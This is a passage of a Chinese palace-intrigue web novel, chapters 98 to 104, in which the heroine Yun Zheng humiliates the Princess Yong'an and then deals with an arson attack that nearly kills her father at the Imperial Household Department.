永安长公主倒是冷静下来了,按住她的肩膀,“蓁蓁,你最近越来越急躁了,没了以往的冷静,这样容易误事。” 挫折多了,叶宜蓁整个人的精气神都不一样了,以前有心计,能沉住气慢慢筹谋,可现在心态明显出了问题。 “我受尽磨难,痛苦的整晚整晚睡不着,却眼睁睁的看着仇人风光无限,让我怎么忍?” 永安长公主到底是经过大风大浪的,“蓁蓁,笑到最后的才是赢家,别急,来日方长。” 可,叶宜蓁身心受到巨创,一个字都听不进去。 她的左手废了,右腿也废了,以后就是一个彻头彻尾的残疾,这让心高气傲的她无法接受现实。 忽然,她脑中闪过一个念头,脸色微变,“不好,云筝肯定去公主府了,快拦下她。” 她们搬家时,永安长公主带了些心爱之物,都很珍贵。 要是落到云筝手里,还不知道是什么下场呢。 永安长公主也急了,赶紧坐马车赶过去。 “她这有仇必报,都不带隔夜的性子,到底是怎么养出来的?” 叶宜蓁也很茫然,明明之前做过调查,说云筝温婉贤淑,是个大门不出,二门不迈的大家闺秀。 他们都被骗了! 而,江闻舟站在大门口,仰头看着永安长公主府的牌匾,眉头微蹙,怎么还不回来? 他听到消息赶去大理寺时,都散场了,永安长公主她们被召进宫中,他什么都做不了,只能来这里等。 “让我进去,我是永安长公主的女婿。” 门卫看着他一身杂役的衣服,浑身散发着难闻的味道,哪敢让他进去? “我看你是个骗子,我们公主怎么可能有你这种身份低贱的女婿。你看看你,还不如这些路人呢。” 附近徘徊晃悠的路人,其实是各家打探情况的下人。 江闻舟被戳中痛处,恼羞成怒,“你说什么?再说一遍。” 门卫冷笑一声,“做人要有自知之明。” “可恶。”江闻舟气的想打人。 就在此时,一道清脆的声音响起,“哟,江闻舟,你居然落魄到跟一个门卫吵架了?” 是云筝,她走下马车,身边紧跟着几个侍卫。 仇人相见分外眼红,江闻舟怒气冲冲的喝道,“云筝,是你?蓁蓁呢?你又欺负她了?我警告你,她是我平西侯府的少夫人,是我最心爱的女人,她若有个三长两短,你就是我们平西侯府的敌人。” 云筝震惊了,“什么?现在还不是敌人?你们平西侯府全是软骨头吗?” 江闻舟:…… 云筝没有跟他多纠缠,抬起头看向牌匾,眼神冷冷的。 “来人,把这牌匾给我拆了。” “谁敢?”一道怒喝声响起。 第99章 长公主被坑哭了 门卫不禁急了,大声喝止,“这是永安长公主府,敢拆公主府的牌匾,你们都不想活了?赶紧走。” 大门的牌匾是身份地位的象征,拆牌匾等于公然打公主的脸,将公主的脸面狠狠踩在脚底下。 路人们激动坏了,哟哟,又有热闹可看了。 郡主勇是真勇,啥都敢干。 云筝听而不闻,冲紫烟使了个眼色,紫烟一个跃身就将牌匾拆了下来,送到云筝面前。 紫烟抽出佩剑,默默递给她。 云筝接过长剑,眼中闪过一丝冷光,一报还一报,很公平,不是吗? “云筝,住手。” 是永安长公主母女赶过来了,还没有等马车停稳,永安长公主就跳下来,快步冲云筝走过来。 云筝就这么看着她,嘴角扬起一抹挑衅的笑,随后,长剑重重一挥。 “不要。”永安长公主尖锐的声音划破天际。 她眼睁睁的看着牌匾被长剑一砍为二,从中裂开,如同长公主的尊严被狠狠践踏了。 她不敢置信,“云筝,你这个疯子,你怎么敢砸?” 这哪是砸牌匾,分明是砸她的脸面。 云筝神色桀骜不驯,“你敢做初一,我就敢做十五,都是第一次做人,我为什么要让着你?” “你……”永安长公主手指着云筝,手抖的厉害。 不等她开口,云筝就不耐烦的说道,“你收拾一下,赶紧走人。” “若本宫不走呢?”永安长公主也是被气糊涂了。 云筝微微一笑,看向不远处,一群骑士飞奔而来,是明镜司的人。 “你们怎么来了?” 为首的立春翻身下马,“奉九千岁之命,帮长公主搬家。” 明镜司上上下下都拿过云筝的好处,心里都偏着她。 永安长公主差点爆粗口,之前搬家怎么不见他们过来帮忙? 她阴阳怪气的内涵,“九皇弟对云筝好的有点过分了。” 立春淡淡的道,“九千岁当着皇上的面吩咐下来的,皇上还夸赞九千岁友爱兄弟姐妹,是个好的。” 永安长公主快不认识友爱兄弟姐妹这几个字了,一个两个都好离谱! 她久不下山,这世道变化这么快? 不顾她的阻拦,明镜司麻溜的将东西都搬出来,全放在大门口的空地上。 云筝淡淡瞥了一眼,都是些家具和摆件,却不见金银细软和贴身之物。 估计,时间来不及,只搬了这些东西来占坑。 她眼珠一转,有了鬼点子,“长公主金枝玉叶,富贵无双,从来不缺好东西,想来也不在乎这些旧物吧。” 永安长公主正窝火呢,“你想干什么?” 云筝笑眯眯的说道,“我替你累啊,东西搬来搬去太费事,不如,就不要了,重新买新的呗。” 永安长公主看着那些假装忙碌,实则看笑话的路人,心中别提有多恼了。 “这些都是我的心爱之物。” 云筝夸张的惊叫,“啊,明白了,你是穷公主!一大把年纪了都没几个银子,好可怜。” 谁踏马是穷公主?永安长公主再好的脾气也要炸了。 “本宫不穷,本宫只是恋旧,你不就是有几个臭钱吗?一身铜臭味。” 云筝一点都不生气,“越心虚越解释,我都懂的,没事,穷怕什么,平西侯府都穷的当裤子了,你看你家的女婿,侯府公子都成乞丐了。” 被点名的江闻舟狠狠瞪了她一眼,他只是没打扮! 永安长公主心里烦躁不已,没有一件顺心的事。 忽然,她脑海里闪过一道灵光,“这些东西本宫统统不要了,赏你了。” “娘。”叶宜蓁不禁急了,虽然只是家具摆件,但长公主家的,都是价值不菲的精品。 像这一套梨花木的家具,最起码值个几千两。 永安长公主冲她使了个眼色,她是用来坑云筝的。 但凡,云筝敢拿这些东西,她立马状告一个强取豪夺,让御史弹劾她,还要去皇上面前卖惨。 既能毁掉云筝的名声,又博取皇上的同情怜悯,对上不了台面的云筝心生不喜。 这些东西最后还是会归还给她,一件都不会少。 这是一箭多雕。 叶宜蓁不懂,但深知她娘不是省油的灯。 云筝笑眯眯的问,“你确定?” 永安长公主微微颌首,“确定。” 她亲手挖坑,就等着云筝跳进来。 云筝一听这话,立马嚷嚷道,“明镜司的兄弟们,来的早不如来的巧,今日大拍卖,统一价,每样一两银子,看中了就拿走。” 明镜司所有人的眼睛刷的亮了,这跟白捡的有什么区别? 大家嗷嗷叫的扑向心仪之物,“我要这个花瓶。”斗彩缠枝梅花瓶,值几百两。 “我要这个摆件。”紫檀木架还配了几颗明珠,值上千两。 “我要这个匣子。”紫檀木雕花方匣,镶嵌着珊瑚玳瑁,值几百两。 不一会儿,就将场上的东西都刮分完了,大家高兴的像过年似的。 “谢谢郡主,您大气。” 他们只领锦云郡主的情。 那些路人急的直跳脚,恨不得也参与进来,这么好的机会谁不想要?郡主啊,也带带他们吧。 永安长公主的心在滴血,她居然这么处理,一件都没自留。 没关系,她还是能状告一个敛财贪财,去宗室那边哭一哭。 李嬷嬷看着堆了一地的银子,小心翼翼的问道,“主子,这些银子怎么处理?” 云筝微微一笑,“送去给皇上,就说是我孝敬的。” 一文钱都没出,却让明镜司领她的情,皇上也领她的情。 告她?啥理由?她是一点都没沾手。 长公主的算计落了空,还损失惨重,眼前一阵阵发黑,一口血喷出来。 “娘。” 宫中,皇上看着盘子里堆成小山的银子,“孝敬朕的?怎么回事?” 侍卫将事情一说,皇上被云筝的骚操作逗笑了,“哈哈哈,二皇姐是聪明反被聪明误,锦云可不在乎银子,她就是为了出一口气。” 厉无恙淡淡的道,“二皇姐居然吐血,您说的没错,她心胸太狭窄了。” 皇上忽然笑了,“皇弟,你让明镜司帮二皇姐搬家,对锦云实在上心啊。” 他像是开玩笑,但这话一出,室内的气氛一下子凝固。 厉无恙像是没听出试探之意,“皇上,您错了,臣弟是在帮自己。” 皇上扬了扬眉,“哦,这话怎么说?” 厉无恙说出了一句让皇上瞠目结舌的话…… 第100章 臣弟担心哪天清白不保 厉无恙淡淡的道,“那府邸离臣弟的王府太近,叶宜蓁贼心不死,臣弟担心哪天清白不保。” 皇上:……!!! 他在说什么鬼话?他是男人! 不过,一想到叶宜蓁有可能天天跑去堵人,也怪恶心的。 “不至于,她只是一个弱女子,而且她跟你有血缘。” 厉无恙反问道,“真的弱吗?每次都有人挺身而出,救她于水火,小时候有平西侯府庇护她,平西侯府不行了,就有永安长公主站出来庇护她。” 皇上的脸色微变,叶宜蓁确实有问题,只是暂时不宜动手。 厉无恙继续说道,“上次伤成那样,黑衣人一颗药丸就能让她一夜之间恢复了大半的元气,我可不想哪天被下药中招了。” “再说了,有没有血缘谁知道?” 皇上默了默,“她如今断了腿,应该也消停了。” 厉无恙冷笑一声,“我敢打包票,她不会。” 皇上揉了揉眉心,换了个话题,“皇后举办的的春日宴,你一定要去。” 厉无恙淡淡的道,“臣弟还有要紧事要办。” 皇上瞪了他一眼,“这是圣旨。” 厉无恙板着一张脸起身,“臣遵旨,臣告退。” 皇上无奈的摇头, “别忘了去给太后请个安。” “是。” 看着他远去的背影,皇上轻轻叹了一口气,“哎,这小子到底怎么想的?这年纪了还不想娶亲,难道真想孤独终老?” 大太监赔笑道,“遇到喜欢的姑娘就想娶了。” 皇上摆了摆手,“管他喜不喜欢,先娶一个再说,遇到喜欢的再换,多大的事啊。” 轻飘飘的话,好像这是很简单的事。 大太监不敢再说什么,皇室是最不讲规矩的地方。 慈宁宫,很安静,弥漫着一股淡淡的檀香。 厉无恙走到大门口,就停下脚步,仰头看牌匾。 太监总管看到他,立马殷勤的迎了上来,“王爷,您来的不巧,太后正在念经。” 他格外小心,生怕触怒了九千岁。 纵然他是太后的心腹,但也不能理解这对尊贵母子本该是最亲密的,怎么会变成这种王不见王的地步。 厉无恙神色不变,“代我向太后请安。” “是。”太监总管点头哈腰,极为谄媚。 厉无恙头也不回的离开,没有半点眷恋。 直到看不见他的身影,太监总管才敢直起腰,一溜烟的跑向佛堂。 烟雾缭绕中,一个脸色苍白的素衣女人跪在蒲团上,神色肃穆。 “他走了?” “是。”太监总管小心翼翼的开口,“太后,您真的不见见吗?这已经是您第二十八次拒见了。” 这可是亲母子,有什么心结是解不开的。 太后容颜美丽,气质淡雅出尘,“没必要。” 太监总管默默等了半晌,默默退出去。 良久,空无一人的佛堂响起轻轻的叹息声,惆怅,带着一丝淡淡的悲伤,似远似近。 “无恙啊。” 云家上上下下看着锦云郡主府的牌匾挂上去,都露出笑容。 云筝眉眼弯弯,现在应该没有眼瞎的人敢砸了。 云父拉着女儿的手叮嘱,“皇上对我们云家恩重如山,筝儿,你要记恩啊。” 云筝瞟了一眼四周的路人,笑眯眯的点头,“我会尽心尽力为皇上办差,只效忠皇上一人。” “快把云府那块牌匾挂上去。” 前朝公主府是照公主规制建的,占地很大,云筝改了一下,将宅院分成两半,三分之二是锦云郡主府,三分之一是云府。 中间就隔了一堵墙,开了一扇小门,方便两边走动。 云父有些担心,“这样真的好吗?” 云筝摆了摆手,“没事,既然把这座宅院赐给了我,我怎么处理都行。” “爹,以后您去上衙就方便多了,离的近,就是小了点。” 云母笑道,“我们两口子和鬼医祖孙俩够住,这地段太好了,住户都是非富即贵,最重要的是,西城的房子去衙门要一个多时辰,现在一炷香的功夫就到了,不需要起那么早。” “我们生了个好女儿,早早就享了女儿的福。” 云筝骄傲的昂着脑袋,“那必须的,以后会更好的。” 郡主府很大,云筝住主院,主院是五进的,一进是招待客人,二进是练武场地,三进是库房,四五进才是住所。 两个嬷嬷很能干,一个主外,一个主内,打理的井井有条。 春华负责掌管四季衣服和针线,春桃负责文书和库房,又将一个二等丫环提上来,负责管帐,赐名为春杏。 云筝还从外面买了一个擅长膳食的丫环,负责饮食这一块,赐名为春荷。 云筝午睡刚醒,春荷就端着托盘进来,“主子,刚炖了归芪红枣粥,补气血的,您尝尝。” 她将粥碗放到云筝面前,云筝尝了一口,“味道不错,没想到你还有这样的手艺,你家主子怎么舍得割爱?” 春荷长相普通,但很伶俐,“我武功很普通,哪比得上紫烟姐姐,那才是主子的心腹。” 她是厉无恙送进来的人,会武功,会做药膳,还会医理。 云筝天天吃药膳,补的小脸红扑扑的,气血充盈。 她忽然想到今天是父亲第一天上衙,去探个班吧。 “挑几样点心,我带去内务府。” “是。” 内务府,云展鹏准时前来报到,领了官服穿上,也拜见了上司和同僚们。 同僚们的态度客气而又疏离。 他也不在意,主动找到顶头上司,“吴大人,我该做些什么?” 吴大人忙的脚不沾地,随手指了指库房,“把这十年内的资料整理出来。” 云展鹏默了默,这是下马威吗? 不过,他也不在意,爽快的应了,只求一个安稳。 他拱了拱手转身离开,却不知,等他一走,吴大人就扔下毛笔。 身边的随从轻声问道,“大人,这样真的好吗?” 吴大人神色淡淡的,“上面发了话,我们照做就行。” 随从小声提醒,“他背后有锦云郡主,锦云郡主最近风头正劲,连永安长公主也在她手里吃了大亏。” 最近的闹剧早就传遍整个京城,有人叹息,有人怒骂,也有人同情永安长公主的,毕竟她之前的口碑非常好,很多人都觉得是云筝以下犯上,欺侮了她。 吴大人眼上闪过一丝精光,“县官不如现管,要怪,就怪他的女儿太折腾,得罪的人太多了。” 库房,云展鹏将那些陈年旧账整理出来,一本本的翻阅过去。 忽然,他的动作一顿,眉头紧皱。 这账本似乎有问题。 第101章 炫女狂魔 晌午,云展鹏走出库房用膳,是从家里带出来的食盒,四菜一汤,在小红炉上热一热就能吃了。 别的官员都围在一起说说笑笑,云展鹏就一个人坐着,没有急着融入进去,先观察一段时间再说。 卤牛肉,香酥鸭 ,四喜丸子,樱桃肉,都是他爱吃的。 他一个人吃的津津有味,全然不在意别人时不时飘过来的视线。 一名官员忽然看了过来,“好香啊,云大人,你这是吃什么呢?” 这是司衣库的官员夏大人,云展鹏大大方方的发出邀请,“自家的菜,尝尝?” “行。”夏大人拿着碗筷过来了。 云展鹏热情的给他夹了几筷子菜,夏大人吃的赞不绝口。 “这味道真是绝了,比外面酒楼的饭菜还要好吃。” 云展鹏心态很稳,没有卑躬屈膝,也没有急不可耐的攀交情拉关系。 “爱吃就多吃点。” “那多不好意思。”夏大人嘴上这么说,但吃的比云展鹏还多。 夏大人一边吃,一边谈笑风生,说着内务府的趣事。 云展鹏听着听着,也能了解一些内部的人际关系。 吃完饭,两人的感情迅速升温,开始称兄道弟了。 夏大人神秘兮兮的压低声音,“云兄,你知道大家为什么都不敢接近你吗?” 云展鹏顺着他的话问道,“为何?” 夏大人挤眉弄眼,“是你女儿惹的祸,她得罪的人太多了,大家怕被牵连。” 云展鹏早就料到了,但也不怂,“我家孩子不是爱惹事的人,但也不怕事。” 夏大人深深的看了他一眼,他跟大家想象的不一样。 也是,能生出锦云郡主的人,自然不会是泛泛之辈。 “晚上一起去绮红楼喝一杯吧,有些事情在这里不好说,是关于你女儿的。” 云展鹏一口答应下来,“好啊。” 两人聊了几句就分开了,云展鹏又回到库房,开始整理旧账本,他的视线落在最下面的那本账本上,若有所思。 日头渐渐西移,库房内非常安静。 门被推开了,一名官员站在门口叫道,“云大人,先把手头的活停了,把这些账算出来。” 他捧了一堆纸和账本,很吃力的样子。 云展鹏抬头一看,同是织造司员外郎的江大人,织造司一共两名员外郎,作为新来人员,自然要听老人的安排。 他接过东西,稍微翻了翻,是需要入库的账目,乱糟糟的,看着就头疼。 但,也难不倒经验丰富的云展鹏,不一会儿,算盘噼里啪啦的声音响起。 江大人坐在他对面,看着他专注的侧脸,心中极为不舒服 。 “云大人不愧是商贾出身,打的一手好算盘,我是自愧不如,毕竟,我是正经科举出身,二榜进士,天子门生。” 他苦读十年,奋斗十五年,才坐到这个位置,眼前的云展鹏却是空降,从一介白身成了五品官员,跟他平起平坐。 这怎么能让人不嫉妒? 而且,云展鹏成了他的竞争对手,他想要往上一步,成为织造司的主官,就得把云展鹏踩下去。 云展鹏听出他话里的炫耀之意,只是笑笑,并没有接话。 他早就料到会有这么一出,无所谓了。 江大人还不肯放过他,酸溜溜的开口,“不像云大人,靠着女儿就能一步登天,我等羡慕不来的。” 云展鹏别的都能忍,但女儿是他的底线,“确实,谁让我会生呢,生了一个绝顶聪明的女儿,我年纪轻轻就能享女儿的福。” 江大人冷哼一声,“那又如何? 女儿是赔钱货,儿子能传宗接代,传承香火。” 这就差指着云展鹏的鼻子,骂他没儿子,是绝户。 云展鹏面不改色,这种话他早就听多了,那又如何?他们是嫉妒啊。 “我女儿是锦云郡主,正二品,令郎是几品官员?” 江大人:……靠!郡主了不起啊? 还官员呢,一想到读书不成,习武也不成的儿子,他心里堵的慌,更嫉妒了。 “我儿子能传承香火。” 除了这一个优点,就没有别的可吹了。 云展鹏微微一笑,“对了,我云府就在南池街,离皇宫只有二里地,上衙都不需要早起,这是我女儿特意送父母的礼物。江大人,你家住哪里?” 一个租房子的穷酸官员,生了一堆儿女,却没有一个有出息的。 江大人破大防了,脸色发青,可恶,就知道炫耀。 md,南池街啊,寸土寸金的地段,住户全是达官贵人,你光有钱也买不到那边的房子。 这是身份的象征啊,嫉妒的发疯! “嫁出去的女儿,泼出去的水,锦云郡主已经嫁进平西侯府,就安安份份的当平西侯府的少夫人,别整天闹腾,丢尽天下女人的脸。” 一道清脆的声音猛的响起,“这位大人,你是女人吗?怎么就能代表天下女人了?” 两人不约而同的回头,看向门口的红衣女子。 云展鹏眼睛一亮,迎了出去,“筝儿,你怎么来了?” 云筝将手中的食盒递过去,“爹,我来给你送点心,都是刚出炉的,还热着呢。” 云展鹏眉开眼笑,“你这孩子也太操心了,我这么大的人还能饿着不成?” 还是女儿好,女儿贴心乖巧,还能帮他分忧。 江大人冷声说道,“云大人,这是衙门,闲杂人等莫入。” 云筝看都没有看他一眼,“爹,先吃吧。” 江大人恼了,“大人说话,何时轮到小辈插嘴,商贾之家的教养实在是太差了。” 云筝总算抬头看了他一眼,“你是哪位?” 江大人高高昂着头,“我乃织造司员外郎,姓江,是两榜进士出身。” 云筝举止矜贵,“我记下了,改日就问问皇上,他是怎么选官的?怎么连朝堂的礼仪都不懂,差劲。” 江大人脸色大变,“你胡说什么?我是最精通礼仪的。” 云筝板着一张俏脸, “本朝规定,下级向上级拜见时要行拜见礼,官员之间行揖礼,公、侯、驸马相见行两拜礼,下级居西先行拜礼,上级居东答拜。平民相见,依长幼行礼,幼者施礼。外别行四拜礼,近别行揖礼。”注(1) “你一个五品官见到本郡主,为何不行礼?你这是对本朝规定不满?还是对皇上心存怨恨?” 江大人如遭雷击,脸庞瞬间失了血色。 要命! 他以为这已经是极限,但,他对云筝杀伤力一无所知,这仅仅是个开头…… 第102章 太狗了!不要脸! 江大人急的直冒汗,赶紧行了一礼,嘴里还解释,“我绝无此意, 只不过我跟你父亲是同僚,我下意识的把你当成晚辈,没有想那么多。” 云筝眉头一皱,“你的意思,是我想的比较多,思想比较复杂?你在内涵我?” 江大人是这个意思,但绝不能认啊。 “绝不是。” 云筝撇了撇小嘴,“你这么头脑简单,心思全放在欺负同僚上,能当一个好官吗?” 江大人只听过她的大名,对她的嚣张嗤之以鼻,直到此时才发现云筝有多难缠,“是不是好官,不是你说了算。” 云筝一本正经的点头,“对,没错。” 就在江大人松一口气时,就听云筝说道,“所以,我打算找人查你,你最好没有做过一件缺德事,否则,就等着被弹劾罢官吧。” 哪个人能经得起细查?江大人气怒攻心,“女子不得干政,你就算是郡主,也不能插手朝堂官员之事。” 云筝笑眯眯的说道,“怎么是朝堂之事?我这不是在报私仇吗?” 她把报私仇说的如此光明正大,也是没谁了。 江大人:……太狗了!不要脸! 他只能转头看向云父,“云大人,你快管管你女儿,这成何体统,不怕被御史盯上吗?” 云展鹏怎么可能帮着他?“我从小就教导她,做人要有锋芒,要有棱角,要有立场。” 云筝在一边解释,“换句话就是,不服就干!打的别人嗷嗷叫,也不能委屈了自己。” 江大人:……踏马的,云家就没有正常人。 “唯女子和小人难养也。” 扔下这句话,他扭头就走。 云筝对着他的背影大喊一声,“对对对,我是女子,你是小人。” 江大人脚步一顿,差点摔倒。 云筝也不理会他,笑眯眯的将点心拿出来,摆了一桌子,“爹,您尝尝,很好吃的。” 云展鹏拿起一块点心咬下去,“怎么忽然来了?” 云筝四处打量,这个库房不大,陈列架塞满了账本,窗边只放了两张办公桌,没看到其他官员。 “过来看看您的办公环境,您的同僚似乎不大友好。” 云展鹏全然不在意,“没事,我之前遇到的困难比这大多了,不照样闯过来了吗?” 他向来韧劲十足,百折不挠,之前做生意四处讨好官员,被各种人刁难,早就磨练出来了。 云筝冲他竖起大拇指,“爹,您知道我最佩服您哪一点吗?就是,从不缺重头再来的勇气,这是最可贵的。” 云展鹏眉开眼笑,这话他爱听。 云筝陪着父亲吃了一顿点心,随后起身道,“爹,按规矩,我应该去拜访一下内务府的老大。” 都到人家地盘了,怎么着也该见一下,顺便探了探人家的态度,毕竟,父亲在人家手底下干活,以后也有可能合作的。 云展鹏也站了起来,“我陪你过去。” 云筝摆了摆手,有他在,有些话就不好说。 “不用不用,您忙吧,我自己去。” 她走出屋子,守在门口的紫烟立马跟上。 内务府下设七司十三院,各个部门分散开,各占一个大院子。 云筝四处打量环境,心思转的飞快,所到之处,不少人指指点点,她也不在意。 内务府总管姓张,独自占了一个大院子,正懒洋洋的靠坐在软榻上,喝着贡茶,吃着最金贵的新鲜水果,好不悠哉。 就在此时,外面传来动静,“总管大人,锦云郡主求见。” 张总管眉头一皱,“就说我公务繁忙,没空。” 他是皇上的亲信,自然知道很多内情。 皇上本来有意让她过来辅佐他,她居然不识抬举拒绝了。 一想到他错失了很多捞钱的机会,又不能立功了,心里就不痛快。 话音刚落,门被强行推开,云筝在紫烟的陪伴下闯了进来。 总管猛的弹跳起来,理了理衣服,脸色极为难看。 “你怎么闯进来了?锦云郡主,这不是你该来的地方。” 云筝的视线在室内扫了几眼,这房间真大,摆设富丽堂皇,样样是贡品。 “张总管好享受啊,这夷山红茶可是刚进贡的,皇上才喝上,你这边就早早喝上了。” 张总管脸色微变,“是皇上恩典,你请回吧。” 云筝已经探出他的态度,看来他跟皇上之前的想法一样,好处,他要,功劳,他也要,就是把她当利用工具,还不配拥有名字的那种。 她拒绝,就是不识抬举。 也是,内务府负责皇室的饮食起居,总管是皇上的奶兄,从小一起长大,是皇上最信任的人,就连首辅看到他,也得客客气气的。 “行,麻烦张总管把这句话当面告诉皇上,我保证这辈子都不再踏入内务府。” 张总管脸色一变,这是威胁,她不再踏入内务府一步,自然也不会管内务府的事。 可,皇上还指望她帮内务府谋几条生财之道,让皇上的私库丰盈起来。 要是坏了皇上的好事,他也要倒霉的。 “锦云郡主,令尊还在内务府呢。” 这也是在提醒云筝,她父亲捏在他手里,说话行事注意点分寸。 云筝浑然不在意,“没事,我可以帮他换一个位置,皇上是个极好说话的人。” 皇上好说话?张总管都气笑了,她是第一个这么说的人。 云筝打开天窗说亮话,“若我父亲在这里有个三长两短,我是要闹的,大闹特闹,到时,张总管可别怪我发疯啊。” 嗯,她只是帮父亲打点一下顶头上司,请顶头上司罩着父亲。 张总管:……神踏马的打点,有这么打点的吗? “我难道怕你闹不成?我是皇上的奶兄。” 云筝一本正经的点头,“知道,你和我父亲都一样,都是开后门进来的。” 张总管胸口气血翻涌, md,好想骂人。 他是皇上钦点,云展鹏是靠女儿上位,不一样! “你……” 外面一阵喧哗,一个衙役惊惶失措的闯了进来,“不好了,总管大人,云展鹏大人出事了。” 云筝脸色大变,猛的一把揪住他的衣服,“出了什么事?” “库房着火了,云展鹏云大人在里面。” “轰隆隆”,云筝如遭晴天霹雳,眼前一黑,身体晃了晃,差点摔倒。 紫烟一把扶住她,满眼的担心,“主子。” 云筝猛的咬破嘴唇,腥红的血流下来,借着痛意清醒了几分,一把推开紫烟,跌跌撞撞冲出去。 张总管脸色剧变,糟了,要出大事了。 “召集所有人救火,快。” 第103章 九千岁,有人放火要烧死我! 云筝拼命狂奔,但越是心急,越容易出错,一不小心就摔了,顾不上手心的疼痛,挣扎着爬起来。 紫烟一把挟起她,脚尖一蹬,腾空而起,如一支利箭般扑向着火的库房。 火势很猛烈,浓烟滚滚,院子里聚集了很多人,但没人去救火。 云筝一落地,就大声喊,“爹,爹,你快出来。” 但不管她怎么叫,屋内静悄悄的,一点反应都没有。 云筝惊惧交加,脑袋一片空白,不假思索的要奔进火场救人,被紫烟一把抱住。 “主子,您不能进去。” 云筝眼眶通红,歇斯底里的尖叫,“放开我,放开,我要救我爹。” 紫烟从未见她如此失控,就算跟长公主对上,被人暗杀,都冷静的可怕。 “您好好待在外面,别让我分心,我去救。” 她一个腾空,飞扑进火场,瞬间不见了人影。 云筝捂着怦怦狂跳的胸口,脸色苍白如纸,四肢发冷,还是要悲剧重演吗? 她以为重生后,就帮父母避开了死劫,他们就不会像前世那样死在匪徒手里,会长命百岁的。 可,现在…… 她后悔了,不该让父亲出来当官,不该将他置身于尔虞我诈的官场。 这才第一日啊,就遭遇不测。 老天爷,求求你,让她父亲活下来,好好的活着。 否则,她会大开杀戒,杀的人头滚滚,她发誓! 张总管气喘吁吁的赶过来,一眼就看到站在最前面的红衣少女,一身凌厉的气息让人心生寒意。 要出大事了! 他看着四周袖手旁观的下属们,火气顿时上来了。 还有心情闲聊,等会还不知道怎么死呢。 “都愣着干吗?快救火啊,让所有人都过来救火。” “快去取水,一定要救出云展鹏。” 他一发话,大家不敢干站着,找水的找水,找盆的找盆,想办法救火,现场乱哄哄的。 张总管迟疑了一下,走到云筝身边,“锦云郡主,你放宽心,不会有事的。” 他看着这熊熊烈焰,心里是悲观的,火烧成这样,恐怕凶多吉少。 但不管如何,都要安抚住这位煞星。 云筝的心绷的紧紧的,眼睛不敢眨一下,眼巴巴的看着火场。 “是不是你干的?” 语气森冷的可怕。 张总管就知道会这样,急急的解释,“不是我,我好端端的干嘛对付他?他对我来说,只是一个微不足道的人,我们没有利益纠葛。” 她本身就智多近妖,背后还有云家商号这股庞大的势力,想要兴风作浪,那是易如反掌。 云筝冷冷的道,“你讨厌我,恨屋及乌。” 张总管很慌,心跳的厉害,永安长公主都折在她手里,他不会是下一个吧? “谁说我讨厌你?我……” 他顿了顿,叹气,“是有点讨厌你的不识务,但,讨厌一个人就杀了,那是神经病,我不是。” 云筝面无表情的看了他一眼,“你最好保佑我父亲没事,否则……谁都别想活。” 吾父若死,是非对错我无心辩论,天地同寿!注(1) 她眼中的杀气让人胆寒,四周的温度都仿佛低了几度。 张总管不禁打了个冷战,她是个疯子,她真干的出来。 “你别冲动,冷静,冷静。” 云筝冷静不了,额头全是冷汗,呼吸都有些困难。 张总管也心浮气躁,指挥属下救火,“没吃饭啊,跑的快点。” “水呢,快去取水。” 就在云筝情绪几近崩溃时,一道黑影从火场飞出来。 “有人出来了。” 是紫烟,她背着云展鹏出来了! 云筝猛的冲上前,“爹,爹,你没事吧?” 紫烟将云展鹏放在地上,云展鹏眼睛紧闭,一动不动,头发衣服都烧焦了,狼狈不堪。 云筝心跳如雷,颤抖的手放到云展鹏鼻下,有热气!活的! 她身体一软,跪坐在地上,这才发现后背全是冷汗。 “他怎么不醒?” 紫烟轻声说道,“吸入了迷烟。” 云筝眼中闪过一丝杀气,谁干的? 张总管奔了过来,“叫太医,快去太医。” 云筝二话不说掏出一颗解毒丸塞进云展鹏嘴里,他都不会咽了,紫烟点了几个穴位,药丸就滚进喉咙里。 不知过了多久,云展鹏眼皮动了动,费力的睁开眼睛。 云筝紧绷的心神猛的放松下来,喜极而泣,醒了就好。 云展鹏眼神茫然,这是哪里?他怎么了? 他看到了女儿的眼泪,吓的坐起来,“筝儿,你怎么哭了?谁欺负你了?告诉爹,我去揍他。” 云筝一把抱住他的胳膊,眼泪滚落,“爹,吓死我了,你没事就好。” 就在此时,一道怒喝声猛的响起,“云展鹏,你到底做了什么?库房怎么会着火?” 是织造司员外郎江大人,满脸怒气的冲过去,却被紫烟拦住了。 云展鹏蹙眉回想,他吃完点心后就开始忙碌,后来有点困……就什么都不知道了。 有人忽然惊叫一声,“不好,库房的账本都抢出来了吗?” 大家看着快烧完的屋子,没人敢冲进去了,就这么眼睁睁的看着烈火焚尽一切。 “完了,这十年的账本全烧毁了。” 江大人怒气冲冲的喝道,“云展鹏,你玩忽职守,第一日上衙就闯出这样的弥天大祸,该当何罪。” 张总管没好气的喝道,“闭嘴。”没见过这么急着送死的。 江大人还没有意识到事情的严重性,一心想借机逼退竞争对手。 “总管大人,云展鹏害的陈年账本都烧毁了,他要负全责。” 云筝冷冷的看着他,“你再说一遍。” 江大人义正言辞的表示,“你就算是郡主,也不能一手遮天,包庇犯错的云展鹏。” 云筝的视线落在众人脸上,有人坦然,有人不敢直视。 杀意在心底翻滚,她深吸一口气,“去请九千岁过来,就说,我要报案。” 这话一出,现场气氛立变,九千岁之名令人闻风丧胆。 江总管不禁急了,“郡主,没必要将事情闹大,对谁都没有好处,不如,这事就交给我来处理,我保证给你一个满意的答案。” 云筝清冷的视线落在门口,“晚了。” “他来了。” 一众穿着麒麟服的明镜司黑压压的冲进来,迅速将现场控制住,全场噤若寒蝉。 坐在轮椅的男人进来了,不怒自威,一身凛冽气势让人望而生畏。 “出了什么事?” 云筝举起右手,清脆的声音响彻全场。 “九千岁,有人放火要烧死我!” 气氛瞬间凝固,窒息般的沉寂淹没众人。 山雨欲来风满楼,暴风雨要来了! 第104章 事发了 她刚哭过,眼眶红红的,我见犹怜,有种惊心动魄的美丽。 厉无恙心口一颤,从未见过她这般脆弱的模样。 随后,滔天的怒火涌上心头。 “好大的胆子,光天化日之下对本朝郡主下毒手,这是公然挑战朝廷的权威,都活腻了,是吧。” 九千岁的雷霆之怒,吓的众人瑟瑟发抖。 江大人眼珠一转,富贵险中求。 他壮着胆子走出来,“九千岁明鉴,锦云郡主此言有误,分明是云展鹏将库房烧了,还把这些年的账本都烧成了灰,对朝廷造成了巨大的损失。” “锦云郡主是为了其父开脱,公然说谎,还请九千岁明查。” 另一名官员也站出来声援,“对,是云展鹏自己的过错,跟别人没有关系,所谓的对郡主下毒手更是无稽之谈。” “锦云郡主私心太重,为了包庇其父,将矛头对准了我们内务府,这有点过了。” 有些人站出来声援,但更多的是沉默不语。 张总管更是嘴巴闭紧,一个字都不吭。 